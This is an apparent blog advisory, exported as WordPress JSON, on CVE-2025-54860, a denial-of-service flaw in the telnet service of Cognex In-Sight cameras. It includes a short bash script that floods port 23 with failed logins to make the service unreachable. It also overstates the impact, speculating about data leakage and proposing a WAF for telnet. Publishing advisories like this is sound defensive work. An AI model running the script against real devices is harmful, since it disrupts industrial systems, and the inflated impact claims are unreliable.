{"id":85917,"date":"2025-11-29T09:36:23","date_gmt":"2025-11-29T09:36:23","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-54860-denial-of-service-vulnerability-in-cognex-in-sight-products","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-54860-denial-of-service-vulnerability-in-cognex-in-sight-products\/","title":{"rendered":"<strong>CVE-2025-54860: Denial-of-Service Vulnerability in Cognex In-Sight Products<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability, CVE-2025-54860, is a critical flaw that affects the Cognex In-Sight Explorer and In-Sight Camera Firmware. The vulnerability can allow potential attackers to perform a Denial-of-Service (DoS) attack on the system. This vulnerability is significant as it leaves the telnet service in an unreachable state, potentially leading to system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-54860<br \/>\nSeverity: High, CVSS Score: 7.7<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: Denial of service, potential system compromise, and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1024607194\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Cognex In-Sight Explorer | All prior versions<br \/>\nCognex In-Sight Camera Firmware | All prior versions<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability exists due to improper management of login failures on a telnet-based service on port 23. An attacker could exploit this vulnerability by repeatedly attempting to authenticate to the telnet service. After a certain number of failed attempts, the telnet service enters an unreachable state, effectively causing a Denial-of-Service (DoS) attack. This vulnerability could potentially lead to unauthorized access or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-142221496\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual example of this exploit may involve the use of a script that repeatedly attempts to authenticate to the telnet service on the target device. The script might look something like this:<\/p>\n<pre><code class=\"\" data-line=\"\">#!\/bin\/bash\nHOST=&#039;targetdevice&#039;\nUSER=&#039;admin&#039;\nPASS=&#039;wrongpassword&#039;\nfor i in {1..1000}\ndo\necho &quot;Attempt: $i&quot;\ntelnet $HOST 23 &lt;&lt; EOF\nuser $USER $PASS\nquit\nEOF\ndone<\/code><\/pre>\n<p>This script repeatedly sends incorrect login attempts to the telnet service, triggering the vulnerability and causing the service to become unreachable.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The best course of action to mitigate this vulnerability is to apply the vendor patch when it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation. These tools can help detect and prevent unauthorized access attempts to the telnet service.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability, CVE-2025-54860, is a critical flaw that affects the Cognex In-Sight Explorer and In-Sight Camera Firmware. The vulnerability can allow potential attackers to perform a Denial-of-Service (DoS) attack on the system. This vulnerability is significant as it leaves the telnet service in an unreachable state, potentially leading to system compromise or data leakage. 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